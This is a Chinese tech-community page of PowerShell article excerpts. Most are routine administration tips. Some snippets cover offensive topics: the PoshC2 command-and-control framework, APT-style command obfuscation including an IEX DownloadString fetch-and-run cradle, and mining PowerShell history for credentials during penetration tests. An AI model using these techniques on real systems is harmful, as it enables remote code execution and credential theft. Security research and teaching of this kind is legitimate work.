首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

实用powershell命令

view=powershell-6 2008R2默认是powershell2.0,可以下载powershell5.1直接安装 安装文件地址: https://download.microsoft.com.../download/6/F/5/6F5FF66C-6775-42B0-86C4-47D41F2DA187/Win7AndW2K8R2-KB3191566-x64.zip image.png 解压后Install-WMF5.1...查看powershell版本的命令 $PSVersionTable image.png 以下都是特别有用的powershell常用命令 【获取日志】 Get-EventLog -LogName security...获取系统信息】 首先定义一个函数Get-SystemInfo(...)利用systeminfo.exe获取系统信息,然后通过执行函数名Get-SystemInfo把获取到的信息存在一个数组变量$sysinfo(...control system查看产品ID image.png 第二种:CMD命令行运行powershell,输入命令查看 (Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE

2.5K30

PowerShell 脚本必备命令

PowerShell命令 最近工作写了大量的 PowerShell 脚本,将一些常用的命令分享出来,希望能帮助到大家。....com" #用户密码 # 方法二:使用数据库计算机账户登录,直接指定数据库名称即可 $Database = "msdb" #数据库名称 # 查询语句 $sql = "sql语句字符串内...$Directory ){ }else{ New-Item -Path $Directory -ItemType Directory -Force } 5.PowerShell 删除文件的空行...粉丝福利 最近小伙伴们应该发现了公众号的一些变化,那就是菜单栏 『干货分享』的二级菜单多了一个专栏 『万门大学』。没错,这正是公众号联合万门大学,为长久以来关注的粉丝争取的福利。...优质文章推荐: redis操作命令总结 MySQL相关操作 SQL查询语句 前端那些让你头疼的英文单词 Flask框架重点知识总结回顾 团队开发注意事项 浅谈密码加密 Django框架的英文单词

2.8K20
您找到你想要的搜索结果了吗?
是的
没有找到

命令控制之PowerShell

文章前言 可以发现的是有不少渗透测试工具都是用PowerShell编写的,特别是对于红队团队的活动,因为大多数现代Windows都有PowerShell,而且管理员通常不会限制普通用户访问PowerShell...控制台,这给攻击者带来了很大的好处,特别是蓝队不监视PowerShell使用情况下 PoshC2 工具介绍 来自Nettitude Labs和Dave Hardy的Ben Turner创建了一个基于PowerShell...查看地址 PoshC2提供了众多的功能,我们可以通过控制端输入"空格"的方式来查看所有可用的模块: ?...PoshC2将自动生成有效负载,并且该命令将在目标系统上执行以创建新服务 ? Windows的服务: ? 当然,还有其他的方法,这里就不逐一演示了~ ?...文末小结 PoshC2的主要好处是它使用PowerShell,因此它对植入物没有任何依赖性,就像用python编写的其他命令和控制工具一样,此外,它具有快速,可靠和易于使用的详细输出,绝对是任何红队运作的工具之一

86920

Windows PowerShell运行hexo命令

Windows PowerShell运行hexo命令 前言 一个月前更新了Windows11,桌面右键可以直接开启 Windows PowerShell 便在安装 git 时没有选择右键快捷打开的配置...,便有了这篇水文 新系统上装了hexo环境,可打开系统默认的 Windows PowerShell 运行命令却无法识别,以为是系统环境变量没设置好。...可在 Git bash 和 CMD 终端却可以执行,再仔细看 Windows PowerShell 的提示,原来是提示的无法加载文件,因此在此系统上禁止运行脚本。...LinkID=135170 的 `about_Execution_Policies`。 所在位置 行:1 字符: 1 此时, CMD 执行以上命令都没问题,所以不是系统环境变量的问题。...解决方案 用管理员权限打开 Windows PowerShell ,运行以下命令: Set-ExecutionPolicy -ExecutionPolicy UNRESTRICTED 提示输入 Y

1.4K10

windowscmd和PowerShell批处理命令

之前 Git 批量删除本地分支,有用到 Linux 或 MacOS 下的批处理命令 xargs:git checkout mastergit branch | grep -v 'master' | xargs...git branch -D因为这个命令的 grep、xargs 本身是 Shell script, windows 的 cmd 和 PowerShell 是不能用的。...cmd 批处理命令# cmd中用 % 标识变量,如果是批处理程序执行bat文件需要使用 %% 来表示变量如 %%i# cmd小黑窗窗口中for %i in (xxx) do command# ...语句依次提取(xxx)的每一个元素,把它的值赋予形式变量I,带到do后的command参与命令的执行;当执行完一次do后的语句之后,再提取(xxx)的下一个元素,再执行一次command,如此循环...PowerShell 的条件和循环这些和普通的编程语言比较像,PowerShell 实现换行多行命令输入,按住 ctrl + Enter# -lt:小于 (less than)for($i=0;$i

25930

Powershell命令与实例初识2

显示相关 PowerShell 版本信息的哈希表 变量操作 描述:为了管理变量PS提供了五个专门管理变量的命令 Get-Variable Set-Variable New-Variable Remove-Variable...BaseType -------- -------- ---- -------- True True Int32 System.ValueType New-Variable 描述:以定义变量时指定变量的一些其它属性...num -Value 100 -Force -Option readonly #option选项 创建变量时给变量加上只读属性 PS C:\test> new-variable num -Value...#2.变量描述可以通过-description 添加变量描述,但是变量描述默认不会显示,可以通过Format-List 查看。...--- 时间日期 Get-Date 描述:时间日期对象可以直接利用其属性计算出当前年中的天数以及几天前和一天后的日期等等; Get-Date | Format-Custom {$_} #$_表示管道当前对象

61810

PowerShell系列(一):PowerShell介绍和cmd命令行的区别

什么是Windows系统的命令行环境,之前我们使用XP、Win7系统的时候,用的最多的就是微软官方自带的cmd命令窗口了,我们通过敲命令行窗口可以实现和操作系统之间的交互。...当然随着微软技术的快速发展,到了目前比较流行的Win10操作系统,默认采用的就是PowerShell命令行交互工具了,今天小编就来给大家介绍Powershell相关的知识,希望对大家学习能带来一些帮助!...● 学习成本非常高,想做到通过dos命令实现操作系统的运维还是非常困难的 2、PowerShell的产生 微软官方从Win7操作系统就内置了PowerShell1.0版本。...● 能够安全地执行命令和脚本,保障系统和数据的安全性。 ● 支持远程管理,可以本地或远程计算机上执行命令和脚本。 ● 易于学习和使用,有多种教程和文档,可以帮助用户快速掌握使用技巧。...官方文档:https://learn.microsoft.com/zh-cn/powershell/ 4、PowerShell使用场景 PowerShell是一种Windows操作系统的命令行脚本语言,

1.1K121

Powershell 命令实现每日给指定组添加全部AD成员

前言: 我们都知道AD中有组的概念,这组我们更多是用来进行权限的管理,公司里有一个系统登录需要确认登陆的AD账户是否是添加到指定的组,只有加入组的才有登录权限。...现在每次AD系统中新建人员后,需要再手动添加组成员,否则新账号无法登录这个系统。 解决问题思路: 通过Powershell命令获取AD的全部成员,然后添加成员到这个组。...用到的命令: get-aduser;add-adgroupmember 完整命令: $user = (Get-ADUser -Filter *)$group = "confluence-users"Add-ADGroupMember...-Identity $group -Members $user 创建这样一个Powershell脚本,然后再使用Windows Server 的计划任务,已达到每日自动执行命令的效果,如果不会建立计划任务...,请查看我的另外一篇文章:如何在Windows服务器上新建一个Powershell.ps1的定时任务

98310

PowerShell实战:文件操作相关命令笔记

1、New-Item 创建新项命令cmdlet New-Item 将创建新项并设置其值。 可创建的项类型取决于项的位置。 例如,文件系统 New-Item 创建文件和文件夹。...注册表, New-Item 创建注册表项和条目。New-Item 还可以设置它创建的项的值。 例如,创建新文件时, New-Item 可以向文件添加初始内容。...电脑E盘创建一个“PowerShell 练习”目录New-item -Path "E:\" -Name "PowerShell 练习" -ItemType "directory"输出目录: E:\Mode...2、Remove-Item 删除项命令Remove-Item cmdlet 删除一个或多个项。它支持删除许多不同类型的项,包括文件、文件夹、注册表项、变量、别名和函数。...3、Rename-Item 项重命名该命令主要是用来给项目进行重命名,支持文件、目录、注册表等文件类型,并且也可以批量重命名操作。

25820

PowerShell实战:Get-Item命令使用详解

今天继续给大家分享PowerShell当中Get-Item相关的命令介绍,希望对运维的同事有所帮助! Get-Item 命令使用频率非常高,主要是获取位于指定位置的项。...表示位于当前位置的项 获取当前目录的所有项 说明: 通配符 (*) 表示当前项的所有内容 获取指定目录所有的项 注意:文件目录不要出现特殊字符,比如空格 等,否则执行会报错。具体看下图。...如果需要指定当前位置的所有项目,可以使用*。 -Include:包含的一个或多个项作为字符串数组,可以使用通配符,简单来说就是根据文件名称进行过滤筛选,参数类型为字符串数组[]。...当 cmdlet 获取对象时,提供程序会应用筛选器,而不是检索对象后让 PowerShell 筛选对象。

23110

PowerShell第一讲,别名,变量,命令

目录 一丶 PowerShell简介 二丶PowerShell简单命令学习 1.PowerShell简单命令 2.powershell使用标准参数 三丶 powershell 别名命令使用 3.1 别名...的变量 一丶 PowerShell简介 二丶PowerShell简单命令学习 1.PowerShell简单命令 动词与名字结合 Get-command -verb Get 查看所有命令为“Get的命令...powershell跟CMD不是一个东西,但是你学习过cmd再去学习powershell 基本上的命令你都可以使用 例如cls cmd可以清屏 powershell可以做Clear-host函数的别名...history pushd tee copy kill pwd type del lp r write diff ls ren 通过一条命令可以看这些别名powershell的真实名称 Get-Alias...五丶PowerShell的变量 PowerShell可以创建变量来保存一些值 声明变量语法 $[变量标识符] 例: $Value 变量可以保存powershell命令信息。

1.5K20

APT的思考: PowerShell命令混淆高级对抗

powershell的功能强大且调用方式十分灵活,目前大多数攻击者已经将PowerShell 应用在各种攻击场景,如内网渗透,APT攻击甚至勒索软件和各种组件,例如cmd,rundll32, 配合使用后...为了方便大家学习和思考,我将powershell混淆姿势和防御手段总结成了如下所示的一张思维导图,有的添加了例子,有的没有添加,图太长不容易看。 ?...`n`n" -NoNewLine -ForegroundColor Green powershell解释器的运行效果如下: ?...Invoke-Expression (New-Object("System.Net.WebClient")).DownloadString("http://127.0.0.1:8899/qiye.txt") 1.4 空白 脚本添加多余的空格是无关紧要的...编码 6.1 base64 powershell命令,使用-EncodedCommand,而在脚本中使用FromBase64String IEX ([System.Text.Encoding]::

6.1K51

Windows 命令行终端 PowerShell 美化计划

目前我们都会使用 「PowerShell」,所以改造计划就先从它开始。先看看我改造的效果: ? ❝本文涉及的所有命令都在 「管理员模式」 的 「PowerShell」 下执行。 ❞ 2....第一次提示处输入 「Y」,第二次提示处输入 「A」,如下图: ?...接着执行下面命令来完成 「oh-my-posh」 的安装,并在提示处输入 「Y」: Install-Module oh-my-posh -Scope CurrentUser 接下来PowerShell...」执行以下命令检测并初始化 「Profile」 文件(类似 「Linux bash」 的.bashrc 文件)保存我们的配置: if (!...,启动菜单打开 「ConEmu」 进入设置(标题栏右键选择 「Settings」)界面,选择 「PowerShell Admin」 并设置为中文: ?

1.6K20

如何获得PowerShell命令的历史记录

0x00前言 我最近的学习过程,发现PowerShell命令的历史记录有时会包含系统敏感信息,例如远程服务器的连接口令,于是我对PowerShell的的历史记录功能做了进一步研究,总结一些渗透测试中常用导出历史记录的方法...view=powershell-3.0 默认Powershell v2及以上支持能够记录当前会话输入的命令,多个PowerShell的进程之间不共享,Powershell的进程退出后自动清除所有记录。...的进程的历史记录。...id=51451 注:安装前需要关闭的PowerShell进程可以通过命令行实现隐蔽安装,命令如下: msiexec /q /i PackageManagement_x64.msi 安装成功后,控制面板的已安装程序列表...对于低版本的Powershell的,如果命令包含敏感信息(如远程连接的口令),需要及时清除,命令为:Clear-History 对于cmd.exe的,如果命令包含敏感信息(如远程连接的口令),需要及时清除

12.7K30
领券